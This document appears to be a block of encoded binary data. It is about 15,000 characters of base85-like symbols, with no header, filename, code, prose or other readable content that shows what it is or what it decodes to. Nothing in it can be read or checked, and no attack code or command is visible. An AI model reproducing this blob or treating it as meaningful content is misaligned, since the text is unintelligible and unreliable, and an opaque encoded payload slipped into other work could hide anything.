zY)D6v>nR4w+@%@r?l?kIWQw=?8#8C8WtbiloevR;i0Kc%TAU$v?Kcb?N?ahQLZd@MvS?Xi+rma!cHdH=-aAH z))@^QkO=8&bK0s)Ry?PE#L@buhNH{qeJc#d5r(9&*{I-Ou!$ItR;j4qR1Duxq#_%t z-qYhL^T)dc{GKcEbx1P`l*&qyjFrv^Le8;OvZ7SQ6Mf42T4v&trN^Wa=B>1jpP&bA zvx}YkYtc5VJu8eQ^Y2QJEgENM4K+YJ2^6~@_E7*=&g|;>y|vKh^A_52_;bB{R+z_S zLLa(Xw!wd4(ehiBPa-lzUVb57BYqT=BnqAzOD@6J(~Gb{NnEchlgkjdemIo7^|4aZ zTetp&lH=RT@F5mLNRrW`!J9N|PWZDzLxiogJYiZxKlf!R5WT+&Lu0BaP5tQxxZHjV zA7VQsN2UoVHXrO)2^Ma**i^0dTjhsgDv=47cKnvMCv5WqKE&mfiS(6ED+zhJEDJV@ z2+HIF=0xQO7A{vx}ku0s zDNA4gc{1*BU?zP>r8B>3H9{^LT@k93Sy#W&c{B?$dIz+^A84>=8?ddz4$r!ECKQ7s zW@F@rgEU3urTEIN;35Ow5@oL3S6nAB8N-b#fIqqy2CL}6wqS8Jr~Xx$-L62lB|3af zm^1q@O_BD4^F_;pZA(YOe%ZE+H^pn}UjiM#6`pJ)0a_B4#|iD+0)2VOt_r0ou*lH{ z**n1kCIr|W(~&JpMV|h3g12?*8u?Nxk0j4IW5Goo&ab<~|$Lg}{ITyie;YWy`-dXdFYb?;a>ANG#0bhfY`q541 zCI@AaygVimUI45>=-0jpkVHENjkke z%_epZ{ye+Bb^x-{vr#=A@s=;(Z_a0m`)OCZT}F*kaV_j7m_(Cbh`Cef#y{ogM$0J& zDrKDWL<9}{{hOj_u5XbREA}dKZTTY(Wc8cFc*-MzN=10|2r%|hI^H!w&Wdh)1EG{` zvEi-Jys{6v8$QMNtWJ;A@j$gOLC5$cA zZUlgPF{L+;K@A78?{|$1UHJZ!#DN=efS97$4{JO^pCThHslMhKUe?5qrSNnuUYfKR z*S^%QnzrLN-i-73O%Xk-Razp1&5p~`No$JpmxegzgK3RXi4I(=m~C?fSTR3Lao$Re zpmcbl7Xh#v37mMGl?P#+Kp1F;eXgNxcN1jNc;sRh3q;P`80}XSvzB3%4R6XlP!Un% zDBBVh?c57WJuv}T zU2B_g54nu-xwqlG%&bPKd(novsZ>O zD2}2Q+@NrB0_#<4`q;DwxE|xBi_`(O3>6Q)6dVIo~~ht-(*OnVV)y4cigk1N$;{r3CT(Re7M^jB~iz{ysY=f<*IiSd+0vCQx%N& z;59=$&ixpCFMBsgCO(Kqw4IjP&=k--oiQB4zEOP-8CQrR7+I9|npa0CbTir%79E~PxFrlJ8@-QJ(LQ)mV zg(MuYSunp%dj3$w5qq*DGVdN&5b?q$0$PtfbQ>XWoR#ziZ$%1$9R{~n_75(dy2yQ= zHv(aKKHUz)h0qR5o(yK~qu`^DsvN*3aW(PUb_Ae^4>}%6iK$fi#d}5<;AP<35#;}b zv_=m!+d?^fdyd7SMxZMWHdV7FYqomi2mYuM@B=p_f0`fL{jt6I5#{rC_=AS*e7=2G zibiQJAxLPfjR2KslSase8%ty4d<=0_!k=E!VHY z!}REVYJLT%l;~DsN=HGFUKXdont6H|8->_$qw7I69q; zM9a$aV9eWkbcH%&!iMB%N*%}3a+$pTxS2U1Uv!YDDlG~X6#yVF>S#Guj^;*2Xa2UQ4mFGAQ()c$Cx3WQ~51U|D+2YU%*fqVAu&V^SCY^UyO*ibxhfdA5H4;)pF?uwyKAu(ImUc2!2(K-wohjY47uww;Y zqA3>4?fI9WK611lC`l3y%Jk*wR8l6r!H`G)PKnV5nO)1LI1 zIChNK{CW>&eno%>zq3odz{HA^PH}oCO|gh6MnCPHEc-#I>SR+aHcm0(qBA%GV?j!2jJcsk%n$b;3czwyV`hc+0=iJ|BoD62>;lpV(ekwhc11DR=twKtZ}h zN=X_99}0$iL@)~4oNnVsD9bmYD2*j;jptgEnam8`_M!QC^;dqLY6Z!5cAot!$IbO` zbXsGG%TIiKH2?UBEyl6XE37Zs*Ayi>2eR|4ZhTuS&W?H1Oo!KmbwVK(9rFsV2oj_k zyWv0GQ*YKvix@Z@HzG#K^H2NiK zS7*cD$%_G;$VX!1_MW+@FcuH>jWA+_!e(*#20+fw!aN6aLliAR6f|rMvxCEJ{5qN; zzj$U*T^!s@oYzcUTyDY*R2MbrBTxXdL5dwfmD8e1qG@v?fxl&UDELiCw}VQt0%aHg zMDv*Ujmezk54NTQ*{;LqXXv=u@Y6esVJZqrE54oXyB7PHtUR`bZhEbuR>%y04HfFe3JOruL4eYVRmP zVk9J*GZh-OSG1eiBKFRiB6_VUVoz&{*b9gld25ImEf^xURg|&6X)@Z>5V2iD#P(`* zWwlL11p3#^5Yd|%2An|Ty|6GRR#UfPa$8Nk+ZrOgxX}>dHMrBFA;OCqBB%g3E#9sv zTL8F*W)AUT=1_>kPjRPcGl#g6GKawV0)t)TOxj?UJmg{)jV*ARJk(rFi9#$9xj|9^ zC=Jo*=*?ZYeJDm+=$Zz4RG{ck2B$vM=A7GkA1VcyH@G>?VhB;K^{6%{-hwyg_#BL76-CR<7OKEG#XvRz10;argj6Z%r*o@h%sJg%D6R zq77IPVDSiw*rRT*uV2+B4O*uZm9!81B5W&4tx^t_#g4GN)iw)*r_V<5@9Q{^S;J54 zvaKi{1>eF>5BZcb4Q9v(1ynR1F1l`pn;QLg>3>TVensIdIgpYX2@5g`wU{Rq&O=}~sn zwUQIP{atXP#D-k%fMnDWsh{_5dDJv(zj+$jZkpyc?>sN&)7%Pxzge1FKIc4lIUpfF z+BA)xApqdfTzrAQ3;|%x1HEwIiu2gKrV#)=gx{BwxX513%+2$)2K6Pv3Bd`YA;*6?mBW>JczO*8_i zZ?)9P7Rn1v<4d$2O{iVQ_RN^lX7u(Kx*gG`Gr?H#7+{R8Vm`ve4G$p9OzdqLXt(J4 zE;2%;jm8xf$CiFrZL9uk?szq4@Ba&8CpkZqtDkAE7R}XLy=t>^{zCniO*7&^<6({m z<>CL{TyAy|3s9)n#=>b_*_2(g^h%nN2v}3drD04!xO3 z5W1qfc~B8u$HNYNIw8~_LZwo#3v=>DI%^|6k)~zB^Q>`Pb7nSfa>W-X=Z$vIcHhje z#Q8QiKc!V{L&B{|oS)5+ip{}lCrz2%K#{%Gsv*H*u51`>s!I&TR%XugHNmrcCPV9F ztVm(nCJE8421jhV8Yp3Kun)mVyVc=un@Zw7`Op-28_2S$D&)OUwzB|kCi)X}S z$>#eY6e?}$HpwXmtQdXu4i6_Kr^HjcO>Zc+T^hPg#0!|82`2Mc~AwPO>`J!9N&KwL*>0fU)TB?(B^%7Go8bPt$bDCo-=l2|~RPH%)MYl=(Iqo?wO1pT4 zv$CCg&W3g{o|qZ?ENx<9;X9n|JM(8(hQF@y(N*P1W>?J3j>SM-d9bV1)Patr^Hr~E zUmZ6QZYQ*13J6WJCt_0?4&Uxc#O?8;jXj0c)^NY8j$^Qhu^8u~ftbOJ$jzwpan7Xp zkxpU3*Ofw$csnNPH*1*n3AEEt=+bwzU_~m3vSH63Bt#@G(<`4s%m12!Bs7h}hBve$gJ%XIDV zZN##RAAEhQ6Nrg=#tst@g0LpK2%jM`v2G>CpuP&gUfR`JkAi{mj$Rplyi}`!JOvgA+$={Q>oh|o$p2ha7DbSi(F;4f zRV`Sfjyeo}y$B+iUWgS05)Q{=AxZKc{e8iHpHQ0Ooc0`RJzJh~ae4BR37uqlM1|x) zGITFJ7|YWIG%QaU%d=mxn>8$qZcU4X!8kyQW^DmmnG^X!++?i#F9ej`$g%L}4mK7G z8n!FPBz2U!7W-x7`E*6Y?=W3aZ!t4J1Y=-zYYD6J;a_b}M|QGttt2C4Cqk-Iu#sXv zqpAxRA%8Se%T0Y@ZCS>wzW-q+9)@r*;6S!TRMt$itNwDB+;(BM;g_I6UmCEj(E%9& zT;|(nQyVQiXS)(!(-!YjQTB&14@$@-tqCBamEVOBuOIzXcQPOd$?uHO<32?~f%S=e zTL*z?waZ8WY#e4i@SH3tNK)n7c}aI$j!a3^1aR>j_L9%AA>)=+tu{G?zL3mteTM-G zS1As+ILoxZmf_g0cU{gBtXtcav;w{ko)f?Lw(B{UU54kIoqjFb<)42OA{^>mbk&&x zkAZjhIDJf0V}b-jB(8S@tbTp`1|*Bo1-Li+m?rDeQ;8Y~8(;^dxPBVK3;Y|oY#hYI zoVgHE6BZyWt_YOHn0%508G$Co8s3%rc>uTR!FtPhK$-{7aQ$FF(v^*HdM1C4VkcH7 z3|~iia6J~NE=Dg?_~*nG*X{k0Y)l%K zSNrwO!}UvF*sn|GiR}k(Xg#8+uF;F8Y7FaZBC+s!S3HK>IA)JjLp_WQ7!+}Kp##u< z$7J=$m@G0ONfJsv|3aD%Q>+o3gUF*OMi9UxCYX3vv~4k~e%;3a17bScVSTLmj&M-l z7~jXGU(~>9BI0EAi+^{?{|mEJ3+1MdE!F%#F0hr_<`$kQ>l@-CdUhB;DRkOed+7Cg zdg1@RI&GO#m2R=!oZxV>t+hM1wE}tA!=n=JQVn=@^!eQNi3{eEqCL9w@EO=urKthP z7_e~Y8vLU9^AF|U&GnV~gTIBAYB}QTe-%2hO38oukWi?Hgux8!zyApiUm872Hcaue z@-b{YRFMflw_t|=IOa=wDQEOjPU(d^&`X_NB-()OYuUkj)|%s75ZI~2%m*bi*jgCE z{f}4`-*4T^>-F*oxjN6P&pR~4=ICl;I&nwZKj{NA^mkVCK=x#K=lR*`vd3+DY$Bifu3XMQ zUtA5L9<@*bs9Qf6?I7O5o$WxN^IeRAO~4+5UfF4}LT`to`!0dRe0URlX&Y>?535Km zyzP6UOZCnNOUjyZnHL8Gt)a#d6%tg;)91l3iCXd*ITRWR+db_MWDkL!eOwlu9%skT z>)?&egS-}=jx=?Cwx5r4@F7GXURIwyy1*@YljqZUWX+3XBje%Z8gJ$vM96k}d3}H5 zP7(k(0)NL z#~OVs2fr$wi!Ijy!QfKiEI0THmdr+hoX5%Nfp&Dv^7Yv%=uprURzes)OW_wvJW(*2J1v@7FJ?tc)!5o`U{0FDK4XB_6xQQQ6 zo~9V3%i3wg$=U7z93s08KNbFO9`z$O;6;=5 zeQ(4*caW0!_5TM4;|q_}Zcy$V*y zqzQ|d?nm>g-aRrg&Z~OU{wlhs^r=6!@v$~?{Dg^kdvU-p{Dqx2=}AtKZ< zb9n0yP#o%S2|`-VDYz5=^!_f_?=rxCSbyY;w1q0&9!B*}w7s46E8Zs>U;};@AI+}T zuV3_HO30bp@UBnBuC_CFv_3l;EHiU7@kWo~0cW@{id-GS_+od>Yix_qCfjFLj~6OW zD!$77ViwtW$qv)>m^&_mdL0FTE0hxH6LCFyL1(fQ3k&WVQ+bem2Yn0aJ{yaBTT_Rl z+dJbWdKQ-)8((pASapKWzeN4SO2Gd|isz79)J;G&v3MkPFuvyXcDxw9@p9>nRo;WN>a)rVF!{^FM(Q`jZB*y+Hkzzxf?BDIBM;3v zWn#`@yb|NNh(}lI<;YN66(D4MxWTQ|+cCxAeC8k%x~jG*c=1w?HMv!Zl^_V6U4B|X zZ{Q96T&OPR@`da8z$k8uN{aQ)bUg+z#3iO1fOAYUaD%cx%heW~%1ldoP{U z9;uXR(W9-H7>9Po5Vq>SjiAA0*$R&2(XVtB8v%dSWo&7^Tn;Tzz~i|opJxtSSP@f- zR{*O%QwPqVK67-qzT@?M$}*1XM;_H>#BFw%CRKeO0Cpt;BuH%7c9FwIPg9yb^rk;( z{=2%`a`Sa>3^0NQ2*FUtQ&v~}c&Z=n%wM(N5NF`O;5S@hZ#}i&(B$$4_^SecbpiO* z5Dg-L?h5lQAG7b%gz6?$fn*Zk9c#Xpm|iKr?2g_PWfexhOzNC7u8~Y7&JM(BX-fd1 z#uYLQPms*V6TXMWU7l*`kd@mD4yEE!VPO+XZ+lUj_oA6a_phCYwXpT-wAR89^;&Bo za`J6aWr4O>3tL~#TG3hyY4G8hwNQ2fmTA6m*WE(}y(_2KchDg;3wDcFaMgR25 zywX+qdE^*(hcE9)X zY-oxy^3d$z^;fVpT#!B7$5Ug$8?mO0Rvis_u6<=T!HQvxp@_q+U;IA&Y@^Q>&6E!$ zl|xT6FswiKUebH;&4oji$wzc6psN1_nhW3G=yxeV0yL)X%~NDJJ3RX(Czg*`lh)K6 zF?>0_D0*yYw}36=H!onz*W{g5fUG>yC^k^UTryh^0ME$Es@X0dnm;Ux#&o}HPs+g? z;3z^IqO{RN@&_Utek#&X`}L=>LqCweV-TTW8*`2r9QGJ`F~Dh7zwY&Ya3jBbl8z#c zp1JZkXq`REiX!7e1gOvOks^Nkfc~n~_%VS5jPG1IUR3#^cAUW-SVvuWeN56R6%yP{ zgWJc)|A;7&AObd#h!T-pV(<|q5^mppA!6?nB?%)*2yEN~B+wiFb04|4yozYgV?_%0 zEIc4IMXD6KmtR3A98i32alK!_n(O@BaxTIapTF~!&RH4ilkmDNea|lhjzt7SyjTqm zI8j5#4}5dnSkoGSZpbE%c5v*ieMu?m;?>vj=KuCZ_7p>vuB!7fVjEA_VUi`qiMHY1 zD{9hcDm#fsncLi>xUjFHcO(f^J(n$Y;-V?d1Um3O!u;c*zmNAJa>o0RISyo9#ziGi zB?W+X1ILnZBEf`VtpNmWeCf$|-O#Itqvxhh**65pTJd5=g<+}Yu8_$zSC9bq{u_F0 znei*`o?tF-ffXce_;^OAb1y?YJK<%&#mlyw^kv+gzKn7=A8CK8s^MS{17bTBAaX+Q zZ}@LGG&k?PK1)kO8r_T22`#X&=nORBp5I@Q*z|$yXCn@qYr=MPsf7$50R?CKvQMqImLe`y&>B6>u@?5r1J8no8zzg^eS2f^gsLxcQ}5wEzp#l+s0xfbXqc|m*REf?TxAqER5Qw=veiuySUL`%gv5~#Ust3`Gb2*p zs{Bw&W?BEjBgw9HZkSHoKuXtnzyDG8>Wh86XVg?rYP0q3g!{0-G6v_b{gTANvZkl`%M6j z!Y7P_w70w2JCv0>B7GZdH$FvLQ`I_UAL+o>8y4HiaCp9gAlf(C56NpsT z;w0>#_?OrLC2R@5Y*_<csf^olRLm&qz|-5?5B;6Cz2$(kWfS$WkQfoF%1kmpAT$ zh7D-mGpaPGYGWj6P+GYmlGKYT67y_;TCmV4xgndLK~}orqr=)K`IZ76^N@f6-%ASX zUV_|&TvMYWb8qhWJN(~M1`8$3Tp6%sm@5AVb*g(3HJ7?2C5$7GMK@HtuWQdcX1#qa z_1OW(@API_19=kf)v7jy4`!m-d*>D!8`KlC+797@%$lmPF*>%VjXqY4{BbX#|QOcGICK;P|;1#usV*@eXoINC+ zaE8dpHWFGh?s?t`BjJPnMB7ftx*!?i?|1lN_-lN?&qUnwsuT!Ne<{3+#?9trX4Jp% zf&^tI6BRXN3Yxk7#t7REXs=T){pdj$mdotAnTy_G9^5-`2~ zdW2p#Mp}u_BnlUs3L=pd1FKKV zkkT)lr)-xFZrL^|4w@B=6rE*!_taRW{2lK$frDy+Ar}swZBu@MAr+I-HAB zGjek=rJAtL*bU&8y+F$_EMV=LrJpnn)UQ)D#;3B%cVR}^x?wuJ;R{8`uhbo7i0M#l zL&ifhFYC`mJ-@LE3o1_i`S?j^Q9cAaf1qDoJSW1;4cZu?IG>m>Qf;|=Z#Ldrnc}uu ze<^JeOJO-+wGNBm@OtaZOuu%fU%7PmQqj5l$*2haDg0Abd++|0oGxYm^vaOZ&R6aA zzq?llOUuKR)h%05D@y-Q>q&E~)9v-!%gwF3_n3UL6hX+G1ywDnA7~TTuaN_0wh1ty zgQJFa)}D)ZPIp`GRhYbBC>Z<_j)DDKOoqnBB9tgzdvtuJzv!)?ntBPXoY5woJadv) z+a{$cxm0gvCQB0X`I?|{+ZT$MjF1Zojm4}?4Y*UX++!C zUs5e|c&vf8ITke%={YrcG`6yH*9B@OTkVDr+SjZye3+zpkbxLo&s&xW;Bbg?yyS>q zPNXgUUPN7jNrVpJ5M!bxf(Q6=#mQ?7`UwD$4wb6)|b1%B4xa?xV+lc`GOq9J4io{FwjQhic zF<4_SV(;Sd)|j=$=`k&VXw0EC5;bP67-t`|CcG!6Ai1R&B?fnSeeBg!n`9c$+i!G0 zh{RW|5G|3Og#^>H`!VYw)W)myML2`I{!j>F@VZLRnh!`?yk`EHC#Gkfu<#7Q@;rot zEUgShF&VWzc-%_rNPLAu3|I{AV zbKgOjS-bXBd0|mvojErVA5<^Zx?Lcdk)Bo%&C+ zdOyrFzYrWc-uCv#*Vx-}d)t6T`pp=@2^i#&;XERo{`w~wD{4ZFbOQ?gnMThbYnD}B ztBP*%$|gZ6dcfK;OH>*?SMjTJAp0Avkr68u8#n&$lsEb{Y}`t2P$#xKn8KTXHQTuP%Ff=Eb%j0?R1(Iv3MdMnMx){TXW~uF;cwXs)M;XxNvVnF zD7YdEtNI!xLQq{H>h?kwt~du%)*c|xufHXB|5VX(RP7nPF+xpAx4a-fk4TU`NN2$F zoMOz>~5R?1$?=7}J zj;;Slnh=F;Zo|ek0NNOyDRfGBolw~+RI-YV7?rfYzE60=LrVGVq+O z8I0twj~vLJgmkZxvSUI-w1+aJ4O}A~E%<-I|B;}0lvY>)4o|kRAxY~gkPNQQkKiQj zg_W`FlNYYA|3y(N>?b~cZIK@0>vcF9t8F}q(AOh=0@=(_jA80i0h4!?mBN^!12%}H z>|rmA(F^RU;+HW`6+cxj%(6^_u2p*=brd+}RkoT8!pi7rjaO2RfCd7sH$73~%s#?o zauhB?-K(NHy?&S=+m@sgCC^6a1S-v|v=4{U5tRQ5`hz>%F7q&8s$57^R;N;OlJkWC zW#kKtzExQesZz!~WdNssNE^&l7JkU&@Yl?7zI2gVivpe>Fg9B#uB2;V%#8E#)dq6D zD0?B^1Vdvgtmy43;&z8^qwKcD~eodrgHclAJ8gR*H&2q^_cj^%M87D?f5W-P3t><+dZF0fZl zOOAj9PAZ7zZ4Bfgh`QPh!C>{s0g&M3&oIF;F9JpUjuw#$ok04b@)GLCJCfELr99Am zr|&2b3V~-8XI+(oqbY$hDW+{acT4p5F3doe6e_U+Utly~VO&XAE^P(PH-Ro?3K%L0 z{Q~NywlyeCPdJMbVJV^%E#_(e;eXNSLRaE(IMvJ zM5{a;0PbWfZOlgTIJ@SzF&jyk1(#Agrow0=!Uw|G5VJ9F`@Z+#qAPNhz%Vf?!oToS zrr@2P0gGWg((}{{QYvIGf#g^4fz@;LG(%wGtjYd3XHn%yX>G5NAdi=ND)ZqW3p#uB z@DFl*9>H#qF?LSMi+Mfad6Dx2KslWt0hI60O;Ng(d19-Hv`d6ecci2tyRcw?g!%D- z2$$*|7WKLoDyW6lUwPlO;?IboyF-YX3?R8)IEOa?(3*-sB<`i~KX^Ga{G(2CqcLIF zMR?{Q8alz^OVP*CPqNJn|0xf9YZ}p%9(h|~)o-bcy`U*IWG10~&8Sj?oK?RuX=SWK zrzv?it3edVQP%5C)$byzev7rbg@Gf7F!EffZP0gCP(Wlbh{vAC7_YOAU!Z!pQfZxv z-@$4v9!c-00_h+(w#hDwCKu+kn&%pMoz>gb_yk`4Gk@Bh%1OiF77VKFaA`2d-Wb8{=B%;4;nYBUbX7S1=U0BZ?5thg zqY`SV9r^m+kx4&!pDr1n79-a>(oREzA0R$04V7M>I$kl;>xo*1leeVdY)b~vCq9a^ zPLn~s1e|>m$|o@xtMU$%9&BXeicbt{<1yFqvV^r6EfG7Ug{U#5W%Zpfvq=>Lsx;BS zkda{VHBb_4FJJFsTev@;$NAjH=O@s$?#Jitd_I8BJNSGcTgU<20pkN{LeszaLcT8l zUG;V8D+UR zZ^Rxs7_Mlo9Btcv+K!#OcJIB`AhN_=P%0Noc~0AUA~@Qebtp${Mi5XqtE?6pYtRC@sj`jhkock z{QDpLfv5kwfBV1vo9|!xzNbC)iQoI(-}Si1WsiOAqaXF{Z_W?Z2Os%uk2wFlhkx@q z4|_8_0u_|A2UZ@(Cgpd^iD5oO!;DIh5a?+~>K#9P6ZE>GSTNtl1Vj(EAglT`MLRsy zqV>v68`{~ebvEn-9vVG!iE5y~oUh!tp>gwKdV|N~8=SqLmvC%Pyx~plLo1Hfaah^? zm$>Q-pj-d_~xHdWK;pHVX3T_j6&h6eh zt6Dm%yc93orR)dq%;5qwkh`1~-PN4TaJ4XScy!N$vfqZv;lSB=C7^f0Ak0#UC>v4+ z5U3d^%7E(Z>wdm5fIS`7@&A5NUZK_Ly+DNZQn1deGZK(^;@skiJctDQgz5}9&TFYP z7TWQw$`3gnJQtctI3N3(#@^ci%-P(U1Mj}yuCR`E^mYy(%>rPXt8e@byTu0gEK|G? zmPc`&9IzhE5F!0JPFGd!L1D?z`skT)o$iVLvJU78zN>AR-Msg z89Z2?y2X+DhdS^(CUEFQ#9#FPk@qg(lAUFN?pmvA?_IsCYIk+ggigAFRmE0&ce?2S zF~o#{UfWzc7a)jSM;!1`Pfl+LbkoMnF-h-Sh~c6}L5ERBgYuX>^CTMPpc5R>KA6#{ z9O!d~bL1#ss~OE8GX}*mYC_KYe*aokwJ*8B%=nz=q|;qh>+)Z||GR(R|NV{N?f(o8 z9#nE*RGku01eG84p`-)MmZ#|CVobAmILcGh0Vu?V4$!|7Vb7yOq>!Q(Wr;1m2(562 zHls$f-ysvrtG|y8-Q>Ulr@`;JHmDrG9hOLZM00zz_37Q^6r!y3&mk2)VeZSBBg7kv6nEEU^@^n z4O%d@+xvM&Jk9lVffK?Y>w)71tc&}hG1{Uc%3Vm0drFwkvskd8mMg<%nD&9SXr?O2 zx=_@SA>?5S=GAQs*<=Vc#H0xc<)T7EtSC&bW||MaVE%pY!@hu)si-ox zSe4%G+=t%3Hx0Y(r0bDuPIXW((*SyagyT6vyJS4{gmxLo7mp_$^U}VxNCHp^1p#tI zX4b4|XwzdwdZQXGURS?ikuO&+w4&!$skpFo606*Zqnh(AhOp{+z!*Z1LGcK;$so#tv zh6phW$*FRw5V13p#iXNFY~I0tNbHFlDM^{T6e@??z&wH(@zn?D>#@JIKr}58ivHOg zBxJ6TS~K&U7;1fLaL4YH=}4i z*NDmQYqTL=D^ut5yHSg<7KmQzYeG8WZk?DfKsG5g@Fe1qdQTGoqP^aT?O!N4_!0u! z;f*qrPIx%#E=ODA8cR$n?h$k!*K#f5;0$)q!Zgsf_b>SsXB(S}0A+Hbwm7E^$=mZt zsBG{@!8TkAB2*oa0C@#30pQfk5}&T)0GE=Dco_^i-e>n?yx&>(J`0=P?=9r2Vm;Nuk@3J_k*<#^o<9+%3jFSy^n26i3#!KLaA711lJ#ifg-&x+c{!L zJO(pBB7!REM-!hZlAuF&g!fZahCrP2swM5S-UnjhAdK6bTwsS-voqNiOX9>Dj2giS z2O|dTN1s~Fhx=cD)A!ofYtM85GV=@huk0RiZ247FGoe+8y zKDq{5*L4N9j{9+m>;UZSq!?%`XjxULv&p#xE!4Ns{_rkj*~#DhzIEpkjPHE=_ghAI zzjeKrXlq&app28%^#CUjV0pu*!3hORK{{f($Fe~War8j=IQBRa{5_HPxXFNUc0Any z*(3wn1I{)B3Jk9YR4|}DL2yBIt|Efs&zdB9%#%GgF)2hc-)@fSm3ufku6kuztbhP} zma|t8-x(Im$Ft?E+;bgQ4!m|}Nq;*>XL9lNZI~T1Cdx9eHLjFDlOv^Du5NBz;5Ya6K1{l zkEc=75tC3O3F0MFHzlC{CR+U9*HKKtDyAD(WdIO%wVl|G6o4~rs+XQ#@F|`!2Fitf zhHaX(->|aYpw*JuBikj5YH7Ho3VdtqWdjLKc1+^W@Npe2uhqDL@j8v z{DA}fT{e>SSW9IkQvg5VnS)QnjUUe^;OULnR}P~I-d3}WHt{^KMeTIXwmA*JfKbx> zXvyPvveBMMEv)W+cWgNB{}{^eaEAjE-CrfcukM=MJ67K-s(({o{84NJF3R;ZG~lyw z3??~F7~Mn38!h<=LNx?wm*fnkH+`_=t5{1uNbA9gixR{0svV@qI?wr_nf4p;P_F&chz>SR7$`3+1+pb}}THR_ZfaD?qy# zL29l3NvGvSYyMk|XK`;{C6sN&w_NJduPq?H2lb^`%ytsgHP**^J7o-{8-#) zam&SZ@>4f#ByMuOH+8-DBarAZh9;DPmV)mTNo1KmL}Dw;T%j&8Q>0*VE#D$<$gCl5 zjrjuCLjavo=7S%aT>hRe@Tt4denD4IFZplVh2u|wj21qTdwy=N`q5bgIBa5=$rc9`u5%hr$C3R10l=fD#NgUop$;~=@Y2=B9C`Pe`6T@p z$swI@=4^}97O)qIBpj0cK-@ac?|qlDF!XikZ}7+M@PF4Z;Mu7Q zBw@W~qlMkY0m;ojEDt|-=%rqu&;C(=E@JNUt3{qqn^nQ5NS2P*`Jq>`#lwR?Vfp*F z#_O~eeL)`6jj_ynQGOu3Ten$XH0>vvjz=cV<2&<8I3CVn-@!XvRT}L?LR@eD+i zMG-juKJHUzjv=s`)vqv`>sXRNJ@z_Og|`^fm0(Cq-f%Il3%U(IJLmDSCOn+uZ}HgJ zVGd^Dd0nxst?JA~{#L?A@3OY1ubb%P#qiwAO9~jdI+oq5c+<-vl9nSJ7c9Qos%j0G zVcRec-qjJ;E@Ob6xxlY`^WHxXEukI9Qzp2glxir~X0cQ6jfghr=m`EXEWFt|09fP} z;?9&LE|;!NZzlQsjaso&&7DH#iI{-VT0Q!lLwD297$Qywa_j(q2!QIJiD!XRJf4%b zdLvp@>()Euy5-Ux2*sQL@ev9qU^GHct@8Pg_Iz;qKX*yJ zkj+pbnQ`*>9^F>HuzUfRAMNeVvTXYAqrZ}KomTp0F1X*S*;w^xmqF9I8@;CgrlCl% zQS}Di(s7efhaHrfXW|ypAou}_!46q~CR_iINLua2u#ykxQe zI(e9;9l~J{&~{YHgfMpDONLj$Ah)%Euqns5yRRv&HqowPe>aKqQ=~hcPuRGy*5(z; z7#&y`Rha#5K{7uI3tsJ3EdsmZYuiy9t0TF{FKUfKK2|;l_?;^}Ij8WHbY~wgv zvGoH=i|+zHyz*Vi1z<=%)@h;(4GUoC@g<#_AgXH*M|1>7fSqhb+!P!-4;0FFLoDL- z75u%1zaqNG8xD98;r4`*qHGJ?!u!8fltozpJLBgHC_AfXrr9YNS)R0jr7wPlAWHZd z$mxuHl?XhF)p^->5pAJ9t{EEccQ^Um9Fx9x$i*N07F?t@|Jy7dmFkuNUF^%qj7#l~ z{ouPr9zdIPxA5Gas#p`OsJDoNz^=$Efo3l1{~$w)V!fH?!jk_2>zZy)c~@&Ky=xpT zDK90mf!(>~%`a+|iII6UP}u*Gw9qVK@^-3K*U1Zpr!_7kc_E#&1DTM#fT~F2l6kbF z7*ZAGJS36`fkW!=rYmCNj=|;^xESj<1AGyqhZJ9l?D=R*;6Kx>oE+_~54808kno~|ZXm*2+@{|oa zTO0_~f)6na&at^YIrmcLs`?SYzQI(7BxzD z1~e zn^@)}(mG5grdul&P~YGIjA}Sbu!0l#!RXQkK_KlWaU=SUcWHJPC~}6VfefLnD+TA` z!TWQFE2W`DRy1Vi81aw?8@29cq?EV!WoM>>V(sbUj*6fyh!gHvv!gBUExtc@w(?r; zai|aE5!lKzlr%*0GtwQ=Ghg7n5rJ`vXY-iaLDcc2(OX;m1kBV|jDl|L9p91ER_26S z1*2DK4C|V217&)Ypl^<*&Q%Y!4@JnnoZIw~kSLr(@chkeb0e*#!*FU)~qAg9B3W8914+d4mQlx>IJZj;& z;WGat7KRw;C43RcKT?pPd4S>0B35E08GiI3isA<07Z?KtghExHw0Efb$X|cqEC1a5 zvz+&63YiwVUg&p(6K(sU;_XygGlMJQSk=9s-ZE5?4y@}VE@@c7uh2204y0`{6rXS~ zsqN8xpeM8KP?5vE&&_dv#L%Y?{%c0yK$35ZvJ5Muz9Wi8(K;~`=~l8}uAp!tFTQOT z*XAUi+uM;a{3G|8*?T+d^UK;=6^o>*K=B0@oks@0rH?NIJmLTcQ3g3A9e`;$#d1ri z$&z5fAma7i#h0zzIrBF0y>-`eam(^{d=oCa5WBgRh>85_DC`d?xJp^&`h+%qd^U=G zE-l}XzX2`}S#ph{(Xrc#r0f^wzf`==Dvsj9(f~JYTGTnlpC0})1u4`wTgt-GrbpW{ zcF|ojWfs!^%`H8fX^vW@;6uz1th6h}z`PPu`!a*^F8S^7LUxikE!v~EV54HdT=mDP zW?;R;55#`ZOe?8Zn!r~HWJ7;>tBh2}t=B32sk>{1LXz5NC1iOtASdx%Ut_#jNG>)K z{M@MW>4M=(XAIM?t0M$6P4m*_8%P^?t%4EfSNm?+W;-zO`$t+sx^GJa0r2T{+?3z3 zdf{=OUdI3m^e;qIKC!!kKSLJHI!a0Bu%O^M5L~;CI1?@77>MCX7LMdWYMm(qYS;#t zX#NVNtHc8SP*@{G0TfApFrj*_T=FdLA#cZP{uUg_8w?k<(_D6wSHGd1llNAh@FB8g zeTXe|id5;1q2idmu+LF5Aj7Ot`! z1u-#MtQr0zQ67L?H3W;*xFF`~%LMT_$rCxs)LhNc?A!Ulmy321&F_Nl^XRuE32-nL zRLTC?s}6zYU^UP7%lS*V*LvAul;&2fYN%7L>g!QTBLwJ4LHlUN;SGDW6&W(yfRnw+;Q<83!p_ zd@;9R8_^TwM`Z^3I*q;(1PSrL2>BmP>;RM=VbFuo(`bR-x#F2d5i5jEQtE(gm4l{T z2M|KT4mQ1`>HrGQy^iTTKO;|A-_W@?-F(MPm3Q&>nP?Lo(bog{D9QYEu7J!rbnF@c zI)8Q#pA|-0+1i(#Haxw$_a~UJ_JH0x=$gc)W6P`W|BKJJmZ5~ZmgjG|&RdKAQy#kO z*l16=C*6Pj&N~PpAtSfV!rRBA(3Tkgh#^5IJ4UQIvG8%r-PAI-7Nw&NEt|m0R3OXX zZry_Z2dPNSZ+o!P?6C3ppSFzV$mWV=g>P_I^4DaQdY? zC!h@ldmaQ7dG}>A?nVO}Rpq|dY5~Rx0xigM0}5vp_5l*kNrR6oQK8DU1I 